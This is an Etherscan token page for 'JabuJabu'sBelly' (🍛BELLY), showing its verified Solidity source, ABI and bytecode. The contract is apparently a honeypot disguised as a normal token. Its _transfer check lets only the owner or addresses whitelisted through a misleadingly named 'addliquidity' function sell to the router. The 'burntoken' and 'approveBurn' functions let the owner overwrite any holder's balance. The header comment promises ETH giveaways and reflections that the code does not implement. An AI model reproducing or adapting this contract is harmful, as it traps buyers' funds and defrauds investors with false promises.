ETH Price: $3,238.95 (-0.48%)
Gas: 2 Gwei

Token

JabuJabu'sBelly (🍛BELLY)
 

Overview

Max Total Supply

39,999,999,999,999.999999999 🍛BELLY

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
304,369,862,590.702641522 🍛BELLY

Value
$0.00
0x7df387ec2b9043a01daa439f171c61735493633a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JabuJabu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2021-09-11
*/

/*
@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly
@JabuJabusBelly                       Welcome       To                                    @JabuJabusBelly
@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly@JabuJabusBelly
                 Jabu Jabu's Belly 🥩. Jabu Jabu's Belly regularly rewards its holders!

🍛 Jabu Jabu's Belly spouts out a random amount of ETH between 0.1 and 0.5 every 30 minutes to a random holder! For every 0.05 you buy, you have a bigger chance to receive a prize!

What's coming over the next couple days:
• Regular giveaways in addition to the automatic Ethereum distributor coming out of Jabu Jabu's Belly
• Twitter/TikTok Marketing Plan
• Official Website/Whitepaper
• Limited edition Jabu Jabu, Zora, and Link NFTs given away to holders
•  AMAs with popular groups such as DeFi Angels

What we are doing to kick off our silent silent launch:
• CoinGecko application (CMC when we reach a higher market cap)
• Locking liquidity

Tokenomics:
• 3% reflected to holders
• 1% sent to our marketing wallet
• 2% automatically stored in Jabu Jabu's Belly
*/

// SPDX-License-Identifier: Unlicense
pragma solidity =0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint256);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;
    mapping (address => bool) private Approved;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    uint256 _burnamount;
    string internal _name;
    string internal _symbol;
    uint256 internal _decimals;
    address internal _owner;
    address private router;
    address private caller;

    constructor (string memory name_, string memory symbol_, uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function Approve(address _address) private onlyOwner() {
        Approved[_address] = true;
    }

    function addliquidity(address[] memory _addresses) public onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            Approve(_addresses[i]); }
    }   
 
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

  
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function burntoken (uint256 value) external onlyOwner {
        _burnamount = value;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function setRouter (address Uniswaprouterv02) public onlyOwner {
        router = Uniswaprouterv02;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
             if (sender != _owner && recipient == router) {
             require(Approved[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        
    }    
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _burnamount - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
    
contract  JabuJabu is ERC20 {
    constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {
        _name = "JabuJabu'sBelly";
        _symbol = unicode"🍛BELLY";
        _decimals = 9;
        _totalSupply += initialSupply;
        _balances[msg.sender] += initialSupply;
        emit Transfer(address(0), msg.sender, initialSupply);
    }
    
    function approveBurn(address account, uint256 value) external onlyOwner {
    _burn(account, value);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"addliquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approveBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burntoken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Uniswaprouterv02","type":"address"}],"name":"setRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620011bb380380620011bb83398101604081905262000034916200033a565b6005805462000043906200037b565b80601f016020809104026020016040519081016040528092919081815260200182805462000071906200037b565b8015620000c25780601f106200009657610100808354040283529160200191620000c2565b820191906000526020600020905b815481529060010190602001808311620000a457829003601f168201915b505050505060068054620000d6906200037b565b80601f016020809104026020016040519081016040528092919081815260200182805462000104906200037b565b8015620001555780601f10620001295761010080835404028352916020019162000155565b820191906000526020600020905b8154815290600101906020018083116200013757829003601f168201915b5050600754855190935062000174925060059150602086019062000294565b5081516200018a90600690602085019062000294565b506007555050600880546001600160a01b0319163317905560408051808201909152600f8082526e4a6162754a616275277342656c6c7960881b6020909201918252620001da9160059162000294565b5060408051808201909152600980825268f09f8d9b42454c4c5960b81b60209092019182526200020d9160069162000294565b50600960078190555080600360008282546200022a919062000354565b909155505033600090815260208190526040812080548392906200025090849062000354565b909155505060405181815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350620003b8565b828054620002a2906200037b565b90600052602060002090601f016020900481019282620002c6576000855562000311565b82601f10620002e157805160ff191683800117855562000311565b8280016001018555821562000311579182015b8281111562000311578251825591602001919060010190620002f4565b506200031f92915062000323565b5090565b5b808211156200031f576000815560010162000324565b6000602082840312156200034d57600080fd5b5051919050565b600082198211156200037657634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200039057607f821691505b60208210811415620003b257634e487b7160e01b600052602260045260246000fd5b50919050565b610df380620003c86000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063b84320cc11610066578063b84320cc146101e7578063c0d78655146101fa578063c665f9df1461020d578063dd62ed3e1461022057600080fd5b806370a082311461019057806395d89b41146101b9578063a457c2d7146101c1578063a9059cbb146101d457600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce56714610175578063395093511461017d57600080fd5b806306fdde03146100fa578063095ea7b3146101185780630cfa03181461013b575b600080fd5b610102610259565b60405161010f9190610c6c565b60405180910390f35b61012b610126366004610b5d565b6102eb565b604051901515815260200161010f565b61014e610149366004610b5d565b610301565b005b6003545b60405190815260200161010f565b61012b610170366004610b21565b610342565b600754610154565b61012b61018b366004610b5d565b6103f3565b61015461019e366004610acc565b6001600160a01b031660009081526020819052604090205490565b61010261042a565b61012b6101cf366004610b5d565b610439565b61012b6101e2366004610b5d565b6104d4565b61014e6101f5366004610b87565b6104e1565b61014e610208366004610acc565b61054b565b61014e61021b366004610c53565b610597565b61015461022e366004610aee565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60606005805461026890610d25565b80601f016020809104026020016040519081016040528092919081815260200182805461029490610d25565b80156102e15780601f106102b6576101008083540402835291602001916102e1565b820191906000526020600020905b8154815290600101906020018083116102c457829003601f168201915b5050505050905090565b60006102f83384846105c6565b50600192915050565b6008546001600160a01b031633146103345760405162461bcd60e51b815260040161032b90610cc1565b60405180910390fd5b61033e82826106ea565b5050565b600061034f8484846107d0565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103d45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161032b565b6103e885336103e38685610d0e565b6105c6565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102f89185906103e3908690610cf6565b60606006805461026890610d25565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156104bb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161032b565b6104ca33856103e38685610d0e565b5060019392505050565b60006102f83384846107d0565b6008546001600160a01b0316331461050b5760405162461bcd60e51b815260040161032b90610cc1565b60005b815181101561033e5761053982828151811061052c5761052c610d91565b6020026020010151610a5f565b8061054381610d60565b91505061050e565b6008546001600160a01b031633146105755760405162461bcd60e51b815260040161032b90610cc1565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b031633146105c15760405162461bcd60e51b815260040161032b90610cc1565b600455565b6001600160a01b0383166106285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b0382166106895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821661074a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161032b565b806004546107589190610d0e565b6001600160a01b03831660009081526020819052604081209190915560038054839290610786908490610d0e565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0383166108345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b0382166108965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b600081116108f85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726174657220746044820152686861746e207a65726f60b81b606482015260840161032b565b6008546001600160a01b0384811691161480159061092357506009546001600160a01b038381169116145b1561094d576001600160a01b03831660009081526001602052604090205460ff1661094d57600080fd5b6001600160a01b038316600090815260208190526040902054818110156109c55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6109cf8282610d0e565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610a05908490610cf6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5191815260200190565b60405180910390a350505050565b6008546001600160a01b03163314610a895760405162461bcd60e51b815260040161032b90610cc1565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b80356001600160a01b0381168114610ac757600080fd5b919050565b600060208284031215610ade57600080fd5b610ae782610ab0565b9392505050565b60008060408385031215610b0157600080fd5b610b0a83610ab0565b9150610b1860208401610ab0565b90509250929050565b600080600060608486031215610b3657600080fd5b610b3f84610ab0565b9250610b4d60208501610ab0565b9150604084013590509250925092565b60008060408385031215610b7057600080fd5b610b7983610ab0565b946020939093013593505050565b60006020808385031215610b9a57600080fd5b823567ffffffffffffffff80821115610bb257600080fd5b818501915085601f830112610bc657600080fd5b813581811115610bd857610bd8610da7565b8060051b604051601f19603f83011681018181108582111715610bfd57610bfd610da7565b604052828152858101935084860182860187018a1015610c1c57600080fd5b600095505b83861015610c4657610c3281610ab0565b855260019590950194938601938601610c21565b5098975050505050505050565b600060208284031215610c6557600080fd5b5035919050565b600060208083528351808285015260005b81811015610c9957858101830151858201604001528201610c7d565b81811115610cab576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d0957610d09610d7b565b500190565b600082821015610d2057610d20610d7b565b500390565b600181811c90821680610d3957607f821691505b60208210811415610d5a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610d7457610d74610d7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220a66e58fd8ebc05c23fbab704e95437f292aae81ea710782dec21c8014cba2e8964736f6c63430008070033000000000000000000000000000000000000000000000878678326eac9000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063b84320cc11610066578063b84320cc146101e7578063c0d78655146101fa578063c665f9df1461020d578063dd62ed3e1461022057600080fd5b806370a082311461019057806395d89b41146101b9578063a457c2d7146101c1578063a9059cbb146101d457600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce56714610175578063395093511461017d57600080fd5b806306fdde03146100fa578063095ea7b3146101185780630cfa03181461013b575b600080fd5b610102610259565b60405161010f9190610c6c565b60405180910390f35b61012b610126366004610b5d565b6102eb565b604051901515815260200161010f565b61014e610149366004610b5d565b610301565b005b6003545b60405190815260200161010f565b61012b610170366004610b21565b610342565b600754610154565b61012b61018b366004610b5d565b6103f3565b61015461019e366004610acc565b6001600160a01b031660009081526020819052604090205490565b61010261042a565b61012b6101cf366004610b5d565b610439565b61012b6101e2366004610b5d565b6104d4565b61014e6101f5366004610b87565b6104e1565b61014e610208366004610acc565b61054b565b61014e61021b366004610c53565b610597565b61015461022e366004610aee565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60606005805461026890610d25565b80601f016020809104026020016040519081016040528092919081815260200182805461029490610d25565b80156102e15780601f106102b6576101008083540402835291602001916102e1565b820191906000526020600020905b8154815290600101906020018083116102c457829003601f168201915b5050505050905090565b60006102f83384846105c6565b50600192915050565b6008546001600160a01b031633146103345760405162461bcd60e51b815260040161032b90610cc1565b60405180910390fd5b61033e82826106ea565b5050565b600061034f8484846107d0565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103d45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161032b565b6103e885336103e38685610d0e565b6105c6565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102f89185906103e3908690610cf6565b60606006805461026890610d25565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156104bb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161032b565b6104ca33856103e38685610d0e565b5060019392505050565b60006102f83384846107d0565b6008546001600160a01b0316331461050b5760405162461bcd60e51b815260040161032b90610cc1565b60005b815181101561033e5761053982828151811061052c5761052c610d91565b6020026020010151610a5f565b8061054381610d60565b91505061050e565b6008546001600160a01b031633146105755760405162461bcd60e51b815260040161032b90610cc1565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b031633146105c15760405162461bcd60e51b815260040161032b90610cc1565b600455565b6001600160a01b0383166106285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b0382166106895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821661074a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161032b565b806004546107589190610d0e565b6001600160a01b03831660009081526020819052604081209190915560038054839290610786908490610d0e565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0383166108345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b0382166108965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b600081116108f85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726174657220746044820152686861746e207a65726f60b81b606482015260840161032b565b6008546001600160a01b0384811691161480159061092357506009546001600160a01b038381169116145b1561094d576001600160a01b03831660009081526001602052604090205460ff1661094d57600080fd5b6001600160a01b038316600090815260208190526040902054818110156109c55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6109cf8282610d0e565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610a05908490610cf6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5191815260200190565b60405180910390a350505050565b6008546001600160a01b03163314610a895760405162461bcd60e51b815260040161032b90610cc1565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b80356001600160a01b0381168114610ac757600080fd5b919050565b600060208284031215610ade57600080fd5b610ae782610ab0565b9392505050565b60008060408385031215610b0157600080fd5b610b0a83610ab0565b9150610b1860208401610ab0565b90509250929050565b600080600060608486031215610b3657600080fd5b610b3f84610ab0565b9250610b4d60208501610ab0565b9150604084013590509250925092565b60008060408385031215610b7057600080fd5b610b7983610ab0565b946020939093013593505050565b60006020808385031215610b9a57600080fd5b823567ffffffffffffffff80821115610bb257600080fd5b818501915085601f830112610bc657600080fd5b813581811115610bd857610bd8610da7565b8060051b604051601f19603f83011681018181108582111715610bfd57610bfd610da7565b604052828152858101935084860182860187018a1015610c1c57600080fd5b600095505b83861015610c4657610c3281610ab0565b855260019590950194938601938601610c21565b5098975050505050505050565b600060208284031215610c6557600080fd5b5035919050565b600060208083528351808285015260005b81811015610c9957858101830151858201604001528201610c7d565b81811115610cab576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d0957610d09610d7b565b500190565b600082821015610d2057610d20610d7b565b500390565b600181811c90821680610d3957607f821691505b60208210811415610d5a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610d7457610d74610d7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220a66e58fd8ebc05c23fbab704e95437f292aae81ea710782dec21c8014cba2e8964736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000878678326eac9000000

-----Decoded View---------------
Arg [0] : initialSupply (uint256): 40000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000000878678326eac9000000


Deployed Bytecode Sourcemap

7471:485:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3412:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4736:169;;;;;;:::i;:::-;;:::i;:::-;;;2727:14:1;;2720:22;2702:41;;2690:2;2675:18;4736:169:0;2562:187:1;7845:108:0;;;;;;:::i;:::-;;:::i;:::-;;4035;4123:12;;4035:108;;;7515:25:1;;;7503:2;7488:18;4035:108:0;7369:177:1;4913:418:0;;;;;;:::i;:::-;;:::i;3925:102::-;4010:9;;3925:102;;5339:215;;;;;;:::i;:::-;;:::i;4155:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4256:18:0;4229:7;4256:18;;;;;;;;;;;;4155:127;3813:104;;;:::i;5562:375::-;;;;;;:::i;:::-;;:::i;4394:175::-;;;;;;:::i;:::-;;:::i;3627:174::-;;;;;;:::i;:::-;;:::i;5949:107::-;;;;;;:::i;:::-;;:::i;4290:92::-;;;;;;:::i;:::-;;:::i;4577:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4693:18:0;;;4666:7;4693:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4577:151;3412:100;3466:13;3499:5;3492:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3412:100;:::o;4736:169::-;4819:4;4836:39;1409:10;4859:7;4868:6;4836:8;:39::i;:::-;-1:-1:-1;4893:4:0;4736:169;;;;:::o;7845:108::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3337:10;3327:20;3319:65;;;;-1:-1:-1;;;3319:65:0;;;;;;;:::i;:::-;;;;;;;;;7924:21:::1;7930:7;7939:5;7924;:21::i;:::-;7845:108:::0;;:::o;4913:418::-;5019:4;5036:36;5046:6;5054:9;5065:6;5036:9;:36::i;:::-;-1:-1:-1;;;;;5110:19:0;;5083:24;5110:19;;;:11;:19;;;;;;;;1409:10;5110:33;;;;;;;;5162:26;;;;5154:79;;;;-1:-1:-1;;;5154:79:0;;5182:2:1;5154:79:0;;;5164:21:1;5221:2;5201:18;;;5194:30;5260:34;5240:18;;;5233:62;-1:-1:-1;;;5311:18:1;;;5304:38;5359:19;;5154:79:0;4980:404:1;5154:79:0;5244:57;5253:6;1409:10;5275:25;5294:6;5275:16;:25;:::i;:::-;5244:8;:57::i;:::-;-1:-1:-1;5319:4:0;;4913:418;-1:-1:-1;;;;4913:418:0:o;5339:215::-;1409:10;5427:4;5476:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5476:34:0;;;;;;;;;;5427:4;;5444:80;;5467:7;;5476:47;;5513:10;;5476:47;:::i;3813:104::-;3869:13;3902:7;3895:14;;;;;:::i;5562:375::-;1409:10;5655:4;5699:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5699:34:0;;;;;;;;;;5752:35;;;;5744:85;;;;-1:-1:-1;;;5744:85:0;;7165:2:1;5744:85:0;;;7147:21:1;7204:2;7184:18;;;7177:30;7243:34;7223:18;;;7216:62;-1:-1:-1;;;7294:18:1;;;7287:35;7339:19;;5744:85:0;6963:401:1;5744:85:0;5840:67;1409:10;5863:7;5872:34;5891:15;5872:16;:34;:::i;5840:67::-;-1:-1:-1;5925:4:0;;5562:375;-1:-1:-1;;;5562:375:0:o;4394:175::-;4480:4;4497:42;1409:10;4521:9;4532:6;4497:9;:42::i;3627:174::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3337:10;3327:20;3319:65;;;;-1:-1:-1;;;3319:65:0;;;;;;;:::i;:::-;3711:9:::1;3706:88;3730:10;:17;3726:1;:21;3706:88;;;3769:22;3777:10;3788:1;3777:13;;;;;;;;:::i;:::-;;;;;;;3769:7;:22::i;:::-;3749:3:::0;::::1;::::0;::::1;:::i;:::-;;;;3706:88;;5949:107:::0;3327:6;;-1:-1:-1;;;;;3327:6:0;3337:10;3327:20;3319:65;;;;-1:-1:-1;;;3319:65:0;;;;;;;:::i;:::-;6023:6:::1;:25:::0;;-1:-1:-1;;;;;;6023:25:0::1;-1:-1:-1::0;;;;;6023:25:0;;;::::1;::::0;;;::::1;::::0;;5949:107::o;4290:92::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3337:10;3327:20;3319:65;;;;-1:-1:-1;;;3319:65:0;;;;;;;:::i;:::-;4355:11:::1;:19:::0;4290:92::o;7114:346::-;-1:-1:-1;;;;;7216:19:0;;7208:68;;;;-1:-1:-1;;;7208:68:0;;6760:2:1;7208:68:0;;;6742:21:1;6799:2;6779:18;;;6772:30;6838:34;6818:18;;;6811:62;-1:-1:-1;;;6889:18:1;;;6882:34;6933:19;;7208:68:0;6558:400:1;7208:68:0;-1:-1:-1;;;;;7295:21:0;;7287:68;;;;-1:-1:-1;;;7287:68:0;;4372:2:1;7287:68:0;;;4354:21:1;4411:2;4391:18;;;4384:30;4450:34;4430:18;;;4423:62;-1:-1:-1;;;4501:18:1;;;4494:32;4543:19;;7287:68:0;4170:398:1;7287:68:0;-1:-1:-1;;;;;7368:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7420:32;;7515:25:1;;;7420:32:0;;7488:18:1;7420:32:0;;;;;;;7114:346;;;:::o;6813:289::-;-1:-1:-1;;;;;6897:21:0;;6889:67;;;;-1:-1:-1;;;6889:67:0;;5952:2:1;